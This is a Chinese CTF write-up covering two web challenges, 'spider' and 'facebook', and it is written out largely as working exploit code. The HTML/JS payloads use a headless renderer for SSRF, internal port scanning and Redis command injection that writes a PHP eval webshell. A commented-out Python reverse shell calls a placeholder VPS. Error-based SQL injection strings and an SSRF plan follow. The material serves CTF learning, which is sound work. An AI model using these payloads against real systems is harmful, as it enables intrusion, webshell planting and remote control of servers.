1.spider
-
0x01题目描述

根据描述,应该会去解析你上传的文件,如果是html文件,会将a标签的内容进行输出,写一个html文件进行测试
</pre>
<!DOCTYPE html>
<html>
<head>
<title>sss</title>
</head>
<body>
<a id="111">111</a>
<script>
var a = document.getElementById("111");
a.innerHTML="解析js";
</script>
</body>
</html>
<pre>
结果如下,证明我们的猜测是对的,本以为后台会有robot去点击我们的页面,试着xss打一波cookie,结果并没有什么卵用

继续访问robots.txt页面发现一个/get_sourcecode
的目录,仿问这个目录,发现要127.0.0.1才可以,尝试ip头的伪造,无果,猜测多半是remote_addr。
-
0x02尝试获取网页源码
换个思路:结合前面的js解析页面,可以尝试用XMLHttpRequest拿源码,代码如下:
</pre>
<!DOCTYPE html>
<html>
<head>
<title>sss</title>
</head>
<body>
<a id="111">111</a>
<script>
function createXmlHttp() {
//根据window.XMLHttpRequest对象是否存在使用不同的创建方式
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest(); //FireFox、Opera等浏览器支持的创建方式
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");//IE浏览器支持的创建方式
}
}
//直接通过XMLHttpRequest对象获取远程网页源代码
function getSource(url) {
createXmlHttp(); //创建XMLHttpRequest对象
xmlHttp.onreadystatechange = writeSource; //设置回调函数
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
}
//将远程网页源代码写入页面文字区域
function writeSource() {
if (xmlHttp.readyState == 4) {
document.getElementById("111").innerHTML = xmlHttp.responseText;
}
}
var url ='http://127.0.0.1/get_sourcecode';
getSource(url);
</script>
</body>
</html>
<pre>
成功拿到源码:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json
app = Flask(__name__, static_url_path='')
def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000 * 1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE,
stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time &amp;amp;amp;amp;amp;amp;amp;amp;gt; 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data
def casperjs_html(url):
cmd = 'casperjs {0} —ignore-ssl-errors=yes —url={1}'.format(
os.path.dirname(__file__) + '/casper/casp.js', url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
# hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
# hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/' + filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: ' + url + '\n' + links
return render_template('index.html', links=links)
@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__) + '/run.py') as f:
code = f.read()
return code
else:
return ''
@app.errorhandler(404)
def page_not_found(error):
return '404'
@app.errorhandler(500)
def internal_server_error(error):
return '500'
@app.errorhandler(403)
def unauthorized(error):
return '403'
if __name__ == '__main__':
pass
-
0x03利用redis写webshell
发现hint,dbfilename,老手一看便知道是redis了:

那么这道题的思路就很清晰了:利用redis的未授权写webshell(或者直接读取flag.php),先扫描一下开启了哪些端口:
<!DOCTYPE html>
<html>
<head>
<title>sss</title>
</head>
<body>
<a id="111">111</a>
<script>
var data = '';
var body = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8081];
for(var i in ports){
var script = document.createElement("script");
script.src="http://127.0.0.1:" + ports[i];
script.setAttribute("onload","data += '" + ports[i] + " OPEN; '; document.getElementById('111').innerHTML = data;");
body.appendChild(script);
}
</script>
</body>
</html>
(ps:这里出现一个小坑,6379扫描出来是关闭的但是实际上是开启了的,具体原因不明)结合题目后来给的提示8000开启了apache,这样就可以利用
redis向apache默认web路径/var/www/html/下写入webshell:

构造webshell:
</pre>
level=low_273eac1c
<!DOCTYPE html>
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<a id="flag">a标签的测试</a>
<script>
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var data = new FormData();
data.append("0","flushall" + "\r\nconfig set dir /var/www/html/" + "\r\nconfig set dbfilename shell1.php" +'\r\nset 1 "\\n\\n<?Php header(\'Access-Control-Allow-Origin:*\'); eval($_GET[\'flag\']);?>\\n\\n"' + "\r\nsave" + "\r\nquit");
xmlhttp.open("POST","http://127.0.0.1:6379",true);
xmlhttp.send(data);
</script>
</body>
</html>
<pre>
然后构造访问文件:
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}
else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell1.php?flag=system('cat%20flag.php');",true);
xmlhttp.send();
/* 反弹shell
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?s=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
*/
}
loadXMLDoc();
</script>
2.facebook
-
0x01题目分析

进行注册后发现在view.php页面会将blog的内容展示出来,并且此页面的no参数存在注入并且在robots.txt页面中可以得到user.php.bak的源码:
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
-
0x02注入查询
and updatexml(1,make_set(3,'~',(select column_name from information_schema.columns where table_schema=database())),1) and updatexml(1,make_set(3,'~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)),1) and updatexml(1,make_set(3,'~',(select data from users)),1)
可得到表users中:
1.no
2.username
3.passwd
4.data
查询data列发现一个序列化对象UserInfo和user.php源码的类相同:

结合view.php会加载blog内容,极有可能加载的便是数据库中data的序列化内容,那么我们便可以构造一个ssrf,即构造一个union查询来加载flag.php:

Comments NOTHING